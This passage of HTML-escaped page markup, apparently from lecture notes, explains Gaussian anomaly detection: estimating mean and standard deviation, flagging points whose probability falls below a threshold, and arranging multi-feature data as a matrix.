mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696383/Typora/2026/02/16504d63b5821211ed55826583950a8e.png&#34; alt=&#34;Gaussian distributions and the effect of their parameters&#34; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Gaussian anomaly detection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For one-dimensional observations &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo separator=&#34;true&#34;&gt;,&lt;/mo&gt;&lt;mo&gt;…&lt;/mo&gt;&lt;mo separator=&#34;true&#34;&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;x_1,\dots,x_m&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.625em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3011em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mpunct&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;minner&#34;&gt;…&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mpunct&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1514em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, estimate the mean and standard deviation, calculate &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;p(x)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, and flag &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;x_i&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.5806em;vertical-align:-0.15em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; when &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;&amp;lt;&lt;/mo&gt;&lt;mi&gt;ε&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;p(x_i)&amp;lt;\varepsilon&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;ε&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;For &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;m&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; samples with &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;n&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; features, arrange the values by feature &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;j&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;j&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.854em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and observation &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;i&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6595em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. Each row contains the &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;m&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; observations for one feature:&lt;/p&gt;
&lt;p&gt;&lt;span class=&#34;katex-display&#34;&gt;&lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34; display=&#34;block&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mo fence=&#34;true&#34;&gt;[&lt;/mo&gt;&lt;mtable rowspacing=&#34;0.16em&#34; columnalign=&#34;center center center&#34; columnspacing=&#34;1em&#34;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&#34;0&#34; displaystyle=&#34;false&#34;&gt;&lt;msubsup&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/msubsup&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&#34;0&#34; displaystyle=&#34;false&#34;&gt;&lt;mo lspace=&#34;0em&#34; rspace=&#34;0em&#34;&gt;⋯&lt;/mo&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&#34;0&#34; displaystyle=&#34;false&#34;&gt;&lt;msubsup&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/msubsup&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&#34;0&#34; displaystyle=&#34;false&#34;&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;⋮&lt;/mi&gt;&lt;mpadded height=&#34;0em&#34; voffset=&#34;0em&#34;&gt;&lt;mspace mathbackground=&#34;black&#34; width=&#34;0em&#34; height=&#34;1.5em&#34;&gt;&lt;/mspace&gt;&lt;/mpadded&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&#34;0&#34; displaystyle=&#34;false&#34;&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&#34;0&#34; displaystyle=&#34;false&#34;&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;⋮&lt;/mi&gt;&lt;mpadded height=&#34;0em&#34; voffset=&#34;0em&#34;&gt;&lt;mspace mathbackground=&#34;black&#34; width=&#34;0em&#34; height=&#34;1.5em&#34;&gt;&lt;/mspace&gt;&lt;/mpadded&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&#34;0&#34; displaystyle=&#34;false&#34;&gt;&lt;msubsup&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/msubsup&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&#34;0&#34; displaystyle=&#34;false&#34;&gt;&lt;mo lspace=&#34;0em&#34; rspace=&#34;0em&#34;&gt;⋯&lt;/mo&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&#34;0&#34; displaystyle=&#34;false&#34;&gt;&lt;msubsup&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/msubsup&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;/mtable&gt;&lt;mo fence=&#34;true&#34;&gt;]&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;\begin{bmatrix}
x_1^{(1)} &amp;amp; \cdots &amp;amp; x_1^{(m)} \\
\vdots &amp;amp; &amp;amp; \vdots \\
x_n^{(1)} &amp;amp; \cdots &amp;amp; x_n^{(m)}
\end{bmatrix}
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:4.8em;vertical-align:-2.15em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;minner&#34;&gt;&lt;span class=&#34;mopen&#34;&gt;&lt;span class=&#34;delimsizing mult&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.65em;&#34;&gt;&lt;span style=&#34;top:-4.65em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:6.8em;&#34;&gt;&lt;/span&gt;&lt;span style=&#34;width:0.667em;height:4.8em;&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; width=&#34;0.667em&#34; height=&#34;4.8em&#34; viewBox=&#34;0 0 667 4800&#34;&gt;&lt;path d=&#34;M403 1759 V84 H666 V0 H319 V1759 v1200 v1759 v84 h347 v-84
H403z M403 1759 V0 H319 V1759 v1200 v1759 v84 h84z&#34;/&gt;&lt;/svg&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mtable&#34;&gt;&lt;span class=&#34;col-align-c&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.5848em;&#34;&gt;&lt;span style=&#34;top:-5.2275em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.6875em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0448em;&#34;&gt;&lt;span style=&#34;top:-2.4337em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2198em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;mclose mtight&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2663em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.3675em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.6875em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;⋮&lt;/span&gt;&lt;span class=&#34;mord rule&#34; style=&#34;border-right-width:0em;border-top-width:1.5em;bottom:0em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-1.9627em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.6875em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0448em;&#34;&gt;&lt;span style=&#34;top:-2.5834em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2198em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;mclose mtight&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1166em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.0848em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;arraycolsep&#34; style=&#34;width:0.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;arraycolsep&#34; style=&#34;width:0.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;col-align-c&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.5848em;&#34;&gt;&lt;span style=&#34;top:-5.04em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;minner&#34;&gt;⋯&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.18em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-1.7752em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;minner&#34;&gt;⋯&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.0848em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;arraycolsep&#34; style=&#34;width:0.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;arraycolsep&#34; style=&#34;width:0.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;col-align-c&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:2.5848em;&#34;&gt;&lt;span style=&#34;top:-5.2275em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.6875em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0448em;&#34;&gt;&lt;span style=&#34;top:-2.4337em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2198em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;mclose 